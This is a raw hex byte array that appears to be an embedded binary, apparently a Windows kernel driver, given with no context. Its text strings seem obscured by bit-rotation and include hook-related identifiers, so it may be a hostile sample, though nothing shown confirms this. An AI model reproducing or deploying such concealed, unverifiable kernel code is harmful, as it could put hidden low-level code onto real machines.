0x53, 0x00, 0x43, 0x04, 0x00, 0x00, 0x00, 0x53, 0x00, 0x6C, 0x2A, 0x46, 0x82, 0x6C, 0x6A, 0xA6, 0x8A, 0x43, 0x00, 0x00, 0x00, 0x02, 0x6C, 0xAA, 0xE5, 0x92, 0xFF, 0xA8, 0x01, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0x46, 0x1C, 0xEB, 0x46, 0x00, 0xEB, 0x28, 0x4F, 0x38, 0xFF, 0xFF, 0xFF, 0x43, 0x04, 0xD0, 0x08, 0x00, 0x6C, 0x2A, 0xA5, 0x82, 0xFF, 0xA8, 0x21, 0x01, 0x08, 0x00, 0x6C, 0x6A, 0x26, 0x8A, 0x53, 0x00, 0x53, 0x00, 0x5C, 0xA8, 0x22, 0x01, 0x08, 0x00, 0x5C, 0x10, 0x82, 0x53, 0x00, 0x53, 0x00, 0x53, 0x02, 0x6C, 0x6A, 0xA5, 0x8A, 0x47, 0x9D, 0x10, 0x00, 0x00, 0x4C, 0x2A, 0x46, 0x5C, 0x6A, 0x26, 0xFF, 0xA8, 0x40, 0x01, 0x08, 0x00, 0x1C, 0xEB, 0x46, 0x00, 0xE3, 0x61, 0x5C, 0xAA, 0x26, 0x5C, 0x12, 0x20, 0x4C, 0x2A, 0x66, 0x1C, 0xEB, 0x66, 0x00, 0xA3, 0xE8, 0x5C, 0x6A, 0x66, 0x1C, 0xCB, 0x61, 0x38, 0xAB, 0x48, 0x5C, 0xAA, 0x66, 0x4C, 0xA8, 0x60, 0x81, 0x08, 0x00, 0x5C, 0x2A, 0x66, 0x5C, 0x42, 0x60, 0x4C, 0x6A, 0x66, 0x5F, 0xEE, 0x1C, 0xE9, 0x60, 0x81, 0x08, 0x00, 0x00, 0x78, 0x24, 0x05, 0x08, 0x00, 0x00, 0x43, 0x00, 0x80, 0x00, 0x00, 0x53, 0x00, 0xFF, 0xA8, 0xE1, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0x86, 0x5C, 0xAA, 0x86, 0x0C, 0x16, 0x00, 0x20, 0x00, 0x00, 0x4C, 0xAA, 0x06, 0x1C, 0xEB, 0x86, 0x00, 0xA3, 0x09, 0x43, 0x00, 0x10, 0x00, 0x00, 0x5C, 0x2A, 0x65, 0x82, 0x5C, 0x6A, 0x45, 0x8A, 0x5C, 0xAA, 0x86, 0x92, 0x53, 0x18, 0x0D, 0x60, 0x81, 0x08, 0x00, 0x82, 0x47, 0x11, 0xEF, 0xFF, 0xFF, 0x4C, 0x2A, 0x46, 0x1C, 0xEB, 0x86, 0x00, 0x78, 0x24, 0x9A, 0x08, 0x00, 0x00, 0x1C, 0xEB, 0x46, 0x00, 0x78, 0x64, 0x4A, 0x08, 0x00, 0x00, 0x5C, 0x6A, 0x86, 0x78, 0xB5, 0x8C, 0xF7, 0x08, 0x00, 0x00, 0x1C, 0xD7, 0xAA, 0x78, 0x2C, 0xB1, 0x08, 0x00, 0x00, 0x5C, 0x2A, 0x86, 0x78, 0xB5, 0x44, 0xFF, 0x08, 0x00, 0x00, 0x0C, 0xCF, 0x55, 0x00, 0x00, 0x00, 0x78, 0x2C, 0x01, 0x08, 0x00, 0x00, 0x5C, 0xAA, 0x86, 0x53, 0x00, 0x43, 0x00, 0x10, 0x00, 0x00, 0x5C, 0x12, 0xC3, 0x82, 0x5C, 0x52, 0xA3, 0x8A, 0x47, 0xEE, 0x08, 0x00, 0x00, 0x1D, 0x80, 0x81, 0x08, 0x00, 0x4C, 0xA8, 0xA0, 0x81, 0x08, 0x00, 0x5C, 0xA8, 0x80, 0x81, 0x08, 0x00, 0x4C, 0xAA, 0x45, 0x0D, 0xA0, 0x81, 0x08, 0x00, 0x4C, 0x2A, 0x65, 0x5C, 0x6A, 0x45, 0x0C, 0x0E, 0x00, 0x41, 0x00, 0x00, 0x5C, 0xAA, 0x65, 0x1C, 0x96, 0x00, 0x0C, 0x4F, 0x00, 0x10, 0x00, 0x00, 0x1C, 0xD6, 0x00, 0x4C, 0x6A, 0x45, 0x4C, 0xAA, 0x65, 0x3E, 0x2A, 0x67, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x48, 0x5C, 0x2A, 0x67, 0x1C, 0x06, 0x08, 0x4C, 0x2A, 0x67, 0x0C, 0xEB, 0x67, 0x84, 0x08, 0x00, 0x00, 0x78, 0x1C, 0x85, 0x00, 0x00, 0x00, 0x43, 0x00, 0x10, 0x00, 0x00, 0x5C, 0x6A, 0x65, 0x8A, 0x5C, 0xAA, 0x45, 0x92, 0x5C, 0x2A, 0x06, 0x82, 0x53, 0x18, 0x5C, 0x68, 0x60, 0x81, 0x08, 0x00, 0x8A, 0x47, 0x9A, 0xE7, 0xFF, 0xFF, 0x4C, 0x2A, 0x46, 0x1C, 0xEB, 0x46, 0x00, 0xE3, 0x73, 0x1C, 0xEB, 0x67, 0x00, 0xAB, 0x21, 0x5C, 0xAA, 0x06, 0x4C, 0xAA, 0x25, 0x5C, 0x2A, 0x25, 0x1C, 0xC1, 0x00, 0xAB, 0x58, 0x5C, 0x6A, 0x25, 0x1C, 0xCB, 0x20, 0x00, 0xAB, 0x10, 0x5F, 0x4B, 0xD5, 0x6A, 0xD2, 0x00, 0x00, 0x5C, 0x2A, 0x06, 0x33, 0x4C, 0x80, 0x53, 0x00, 0x53, 0x00, 0x43, 0x00, 0x10, 0x00, 0x00, 0x5C, 0x6A, 0x06, 0x8A, 0x6C, 0xAA, 0xC7, 0x92, 0x53, 0x00, 0x53, 0x00, 0x53, 0x00, 0x5C, 0x2A, 0xE5, 0x82, 0xFF, 0xA8, 0xC1, 0x01, 0x08, 0x00, 0x5C, 0x6A, 0x06, 0x4C, 0x6A, 0x05, 0x5C, 0xAA, 0x05, 0x0C, 0xD5, 0xC7, 0x08, 0x00, 0x00, 0x55, 0xAA, 0x00, 0x00, 0xAB, 0x70, 0x5C, 0x2A, 0x05, 0x1C, 0xC5, 0xE7, 0x08, 0x00, 0x00, 0x00, 0xAB, 0x10, 0x5F, 0xD0, 0x5C, 0x6A, 0x45, 0x0C, 0x0E, 0x00, 0x10, 0x00, 0x00, 0x5C, 0xAA, 0x65, 0x1C, 0x96, 0x00, 0x4C, 0x6A, 0x45, 0x4C, 0xAA, 0x65, 0x4F, 0xD1, 0xFF, 0xFF, 0xFF, 0x5C, 0x2A, 0xE5, 0x82, 0xFF, 0xA8, 0x80, 0x01, 0x08, 0x00, 0x43, 0x40, 0x81, 0x08, 0x00, 0x43, 0x80, 0x80, 0x08, 0x00, 0x47, 0xC8, 0xD7, 0xFF, 0xFF, 0x5C, 0x2F, 0xEA, 0x16, 0x20, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x1C, 0x67, 0x80, 0x3E, 0x2A, 0x87, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x99, 0x06, 0x4C, 0x2A, 0xE7, 0x53, 0x00, 0x43, 0x80, 0xA8, 0x08, 0x00, 0x6C, 0x6A, 0xC7, 0x8A, 0x53, 0x00, 0x53, 0x00, 0x43, 0xFF, 0xFF, 0xF8, 0x00, 0x6C, 0xAA, 0x87, 0x92, 0xFF, 0xA8, 0x23, 0x01, 0x08, 0x00, 0x2C, 0x06, 0xE3, 0x69, 0x6C, 0x2A, 0xA7, 0x82, 0x5C, 0x6A, 0xE7, 0x8A, 0xFF, 0xA8, 0x03, 0x01, 0x08, 0x00, 0x53, 0xF8, 0x5C, 0xAA, 0xA7, 0x92, 0xFF, 0xA8, 0xE2, 0x01, 0x08, 0x00, 0x5C, 0x6A, 0xA7, 0xFF, 0xA8, 0x40, 0x01, 0x08, 0x00, 0x5C, 0x2A, 0x87, 0x82, 0xFF, 0xA8, 0x80, 0x01, 0x08, 0x00, 0x99, 0x06, 0x5C, 0x2F, 0xEA, 0x16, 0x40, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0xFF, 0x29, 0x00, 0x01, 0x08, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0xFF, 0x29, 0xE0, 0x01, 0x08, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0xFF, 0x29, 0x02, 0x01, 0x08, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0xFF, 0x29, 0xC2, 0x01, 0x08, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x4A, 0x93, 0x83, 0x69, 0xF1, 0x1A, 0xAB, 0x93, 0x93, 0x2B, 0x73, 0xA3, 0x62, 0x7B, 0x1B, 0x0B, 0xA3, 0x4B, 0x7B, 0x73, 0x01, 0xE1, 0xE9, 0x01, 0x4A, 0x93, 0x83, 0x69, 0xF1, 0x9A, 0xA3, 0x0B, 0x1B, 0x5B, 0x1A, 0x7B, 0xAB, 0x73, 0xA3, 0x01, 0x59, 0x01, 0x89, 0x00, 0x66, 0x66, 0x66, 0x66, 0x23, 0xD1, 0xE2, 0x83, 0x93, 0x7B, 0x3B, 0x93, 0x0B, 0x6B, 0x01, 0x33, 0x4B, 0x63, 0x2B, 0x9B, 0xE2, 0x23, 0x23, 0x5B, 0xE2, 0x4B, 0x73, 0x1B, 0xE2, 0x23, 0x23, 0x5B, 0xE2, 0xBB, 0x23, 0x6B, 0x71, 0x43, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x42, 0x7B, 0x7B, 0x5B, 0x0A, 0xA3, 0x0B, 0x83, 0x4B, 0x9A, 0xA3, 0x0B, 0x93, 0xA3, 0x4A, 0x7A, 0x61, 0x01, 0x72, 0xAA, 0x62, 0x62, 0x01, 0xE9, 0xE9, 0x01, 0x92, 0x2B, 0x0B, 0x63, 0x22, 0x4B, 0x9B, 0x5B, 0x50, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x42, 0x7B, 0x7B, 0x5B, 0x0A, 0xA3, 0x0B, 0x83, 0x4B, 0x9A, 0xA3, 0x0B, 0x93, 0xA3, 0x4A, 0x7A, 0x61, 0x01, 0xD2, 0xBB, 0x1A, 0x93, 0x2B, 0x0B, 0xA3, 0x2B, 0x32, 0x4B, 0x63, 0x2B, 0x01, 0x33, 0x0B, 0x4B, 0x63, 0x2B, 0x23, 0xD1, 0x81, 0xC3, 0x29, 0xC3, 0x50, 0x00, 0x66, 0x66, 0x66, 0x66, 0xE2, 0x00, 0xF9, 0x00, 0xF9, 0x00, 0xE2, 0x00, 0x82, 0x00, 0x43, 0x00, 0xCB, 0x00, 0x9B, 0x00, 0x4B, 0x00, 0x1B, 0x00, 0x0B, 0x00, 0x63, 0x00, 0x22, 0x00, 0x93, 0x00, 0x4B, 0x00, 0xB3, 0x00, 0x2B, 0x00, 0x81, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0xE2, 0x00, 0x22, 0x00, 0x93, 0x00, 0x4B, 0x00, 0xB3, 0x00, 0x2B, 0x00, 0x93, 0x00, 0xE2, 0x00, 0x22, 0x00, 0x4B, 0x00, 0x9B, 0x00, 0x5B, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0xE2, 0x00, 0xF9, 0x00, 0xF9, 0x00, 0xE2, 0x00, 0x1A, 0x00, 0xD1, 0x00, 0xE2, 0x00, 0x0B, 0x00, 0x63, 0x00, 0x3B, 0x00, 0x71, 0x00, 0x2B, 0x00, 0xC3, 0x00, 0x2B, 0x00, 0x00, 0x00, 0x66, 0x66, 0x1A, 0x00, 0xD1, 0x00, 0xE2, 0x00, 0x0B, 0x00, 0x63, 0x00, 0x3B, 0x00, 0x71, 0x00, 0x2B, 0x00, 0xC3, 0x00, 0x2B, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0A, 0x00, 0x63, 0x00, 0x3B, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0xE2, 0x00, 0x92, 0x00, 0x2B, 0x00, 0x3B, 0x00, 0x4B, 0x00, 0x9B, 0x00, 0xA3, 0x00, 0x93, 0x00, 0xCB, 0x00, 0xE2, 0x00, 0x6A, 0x00, 0x0B, 0x00, 0x1B, 0x00, 0x43, 0x00, 0x4B, 0x00, 0x73, 0x00, 0x2B, 0x00, 0xE2, 0x00, 0x9A, 0x00, 0x7A, 0x00, 0x32, 0x00, 0xA2, 0x00, 0xBA, 0x00, 0x0A, 0x00, 0x92, 0x00, 0x2A, 0x00, 0xE2, 0x00, 0x6A, 0x00, 0x4B, 0x00, 0x1B, 0x00, 0x93, 0x00, 0x7B, 0x00, 0x9B, 0x00, 0x7B, 0x00, 0x33, 0x00, 0xA3, 0x00, 0xE2, 0x00, 0xBA, 0x00, 0x4B, 0x00, 0x73, 0x00, 0x23, 0x00, 0x7B, 0x00, 0xBB, 0x00, 0x9B, 0x00, 0xE2, 0x00, 0x1A, 0x00, 0xAB, 0x00, 0x93, 0x00, 0x93, 0x00, 0x2B, 0x00, 0x73, 0x00, 0xA3, 0x00, 0xB2, 0x00, 0x2B, 0x00, 0x93, 0x00, 0x9B, 0x00, 0x4B, 0x00, 0x7B, 0x00, 0x73, 0x00, 0xE2, 0x00, 0x92, 0x00, 0xAB, 0x00, 0x73, 0x00, 0x00, 0x00, 0xE2, 0x00, 0x9A, 0x00, 0xCB, 0x00, 0x9B, 0x00, 0xA3, 0x00, 0x2B, 0x00, 0x6B, 0x00, 0x92, 0x00, 0x7B, 0x00, 0x7B, 0x00, 0xA3, 0x00, 0xE2, 0x00, 0x9B, 0x00, 0xCB, 0x00, 0x9B, 0x00, 0xA3, 0x00, 0x2B, 0x00, 0x6B, 0x00, 0x99, 0x00, 0x91, 0x00, 0xE2, 0x00, 0x23, 0x00, 0x93, 0x00, 0x4B, 0x00, 0xB3, 0x00, 0x2B, 0x00, 0x93, 0x00, 0x9B, 0x00, 0xE2, 0x00, 0x13, 0x00, 0x2B, 0x00, 0x2B, 0x00, 0x83, 0x00, 0x71, 0x00, 0x9B, 0x00, 0xCB, 0x00, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x02, 0x00, 0x00, 0x97, 0x02, 0x00, 0x00, 0xF7, 0x02, 0x00, 0x00, 0xB0, 0x0A, 0x00, 0x00, 0xB1, 0x0A, 0x00, 0x00, 0x02, 0x0A, 0x00, 0x00, 0xE2, 0x0A, 0x00, 0x00, 0x83, 0x0A, 0x00, 0x00, 0xE3, 0x0A, 0x00, 0x00, 0x64, 0x0A, 0x00, 0x00, 0x25, 0x0A, 0x00, 0x00, 0xE5, 0x0A, 0x00, 0x00, 0x66, 0x0A, 0x00, 0x00, 0x67, 0x0A, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x70, 0x12, 0x00, 0x00, 0x01, 0x12, 0x00, 0x00, 0xD1, 0x12, 0x00, 0x00, 0x82, 0x12, 0x00, 0x00, 0x03, 0x12, 0x00, 0x00, 0x63, 0x12, 0x00, 0x00, 0xE3, 0x12, 0x00, 0x00, 0xB4, 0x12, 0x00, 0x00, 0x05, 0x12, 0x00, 0x00, 0xB5, 0x12, 0x00, 0x00, 0x96, 0x12, 0x00, 0x00, 0x57, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0x88, 0x6D, 0x6A, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, 0x00, 0x64, 0x01, 0x00, 0x00, 0x64, 0x80, 0x00, 0x00, 0x92, 0x9A, 0x22, 0x9A, 0x99, 0x17, 0x8C, 0x04, 0xF6, 0x63, 0xF6, 0x1A, 0xF5, 0x24, 0xA6, 0x0D, 0xFC, 0x1B, 0x1D, 0x05, 0x08, 0x00, 0x00, 0x00, 0xC3, 0xD1, 0xE2, 0xA3, 0x2B, 0x6B, 0x83, 0xE2, 0x23, 0x23, 0x5B, 0xE2, 0xA3, 0x2B, 0x6B, 0x83, 0xA1, 0xE2, 0x7B, 0x13, 0x53, 0x1B, 0x43, 0x5B, 0xFA, 0xBB, 0x4B, 0x73, 0xB9, 0xFA, 0xC3, 0xC1, 0xB1, 0xE2, 0x4B, 0x99, 0xC1, 0xB1, 0xE2, 0x22, 0x7B, 0x3B, 0x71, 0x83, 0x23, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x37, 0x02, 0xDD, 0x8D, 0xC8, 0xFD, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x81, 0x08, 0x00, 0xCD, 0x72, 0x37, 0x02, 0xDD, 0x2C, 0x06, 0xA3, 0x20, 0xD9, 0x0E, 0xAB, 0xD0, 0x0D, 0x43, 0x01, 0x08, 0x00, 0x5C, 0x00, 0xA9, 0x00, 0x81, 0x08, 0x00, 0x1D, 0x00, 0x81, 0x08, 0x00, 0xAB, 0x38, 0x5C, 0x0E, 0x1D, 0x00, 0x81, 0x08, 0x00, 0xBF, 0x86, 0x1D, 0x20, 0x81, 0x08, 0x00, 0x1E, 0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x47, 0xED, 0xFF, 0xFF, 0xFF, 0xEA, 0x4F, 0x94, 0xC6, 0xFF, 0xFF, 0x66, 0x66, 0xC3, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x12, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x02, 0x00, 0x00, 0x97, 0x02, 0x00, 0x00, 0xF7, 0x02, 0x00, 0x00, 0xB0, 0x0A, 0x00, 0x00, 0xB1, 0x0A, 0x00, 0x00, 0x02, 0x0A, 0x00, 0x00, 0xE2, 0x0A, 0x00, 0x00, 0x83, 0x0A, 0x00, 0x00, 0xE3, 0x0A, 0x00, 0x00, 0x64, 0x0A, 0x00, 0x00, 0x25, 0x0A, 0x00, 0x00, 0xE5, 0x0A, 0x00, 0x00, 0x66, 0x0A, 0x00, 0x00, 0x67, 0x0A, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x70, 0x12, 0x00, 0x00, 0x01, 0x12, 0x00, 0x00, 0xD1, 0x12, 0x00, 0x00, 0x82, 0x12, 0x00, 0x00, 0x03, 0x12, 0x00, 0x00, 0x63, 0x12, 0x00, 0x00, 0xE3, 0x12, 0x00, 0x00, 0xB4, 0x12, 0x00, 0x00, 0x05, 0x12, 0x00, 0x00, 0xB5, 0x12, 0x00, 0x00, 0x96, 0x12, 0x00, 0x00, 0x57, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x40, 0xFA, 0x0B, 0x63, 0x63, 0x9B, 0x43, 0x63, 0x00, 0x03, 0x28, 0x92, 0xA3, 0x63, 0x0A, 0x9B, 0x9B, 0x2B, 0x93, 0xA3, 0x00, 0x7D, 0x20, 0x7A, 0x13, 0x33, 0x22, 0x2B, 0x93, 0x2B, 0x33, 0x2B, 0x93, 0x2B, 0x73, 0x1B, 0x2B, 0x7A, 0x13, 0x53, 0x2B, 0x1B, 0xA3, 0x00, 0x00, 0xF0, 0x10, 0x4A, 0x7B, 0x3A, 0x2B, 0xA3, 0x22, 0x2B, 0xB3, 0x4B, 0x1B, 0x2B, 0x0A, 0xA3, 0xA3, 0x0B, 0x1B, 0x43, 0x6B, 0x2B, 0x73, 0xA3, 0x12, 0x0B, 0x9B, 0x2B, 0x92, 0x2B, 0x33, 0x00, 0x00, 0x6A, 0x38, 0xD2, 0xBB, 0x1A, 0x63, 0x7B, 0x9B, 0x2B, 0x00, 0x1D, 0x20, 0x7A, 0x13, 0x92, 0x2B, 0x33, 0x2B, 0x93, 0x2B, 0x73, 0x1B, 0x2B, 0x7A, 0x13, 0x53, 0x2B, 0x1B, 0xA3, 0x12, 0xCB, 0x42, 0x0B, 0x73, 0x23, 0x63, 0x2B, 0x00, 0x58, 0x10, 0x4A, 0x7B, 0x32, 0x4B, 0x63, 0x2B, 0x7A, 0x13, 0x53, 0x2B, 0x1B, 0xA3, 0xA2, 0xCB, 0x83, 0x2B, 0x00, 0x00, 0xF9, 0x00, 0x22, 0x13, 0x3B, 0x82, 0x93, 0x4B, 0x73, 0xA3, 0x00, 0x00, 0xB2, 0x38, 0xD2, 0xBB, 0x1A, 0x93, 0x2B, 0x0B, 0xA3, 0x2B, 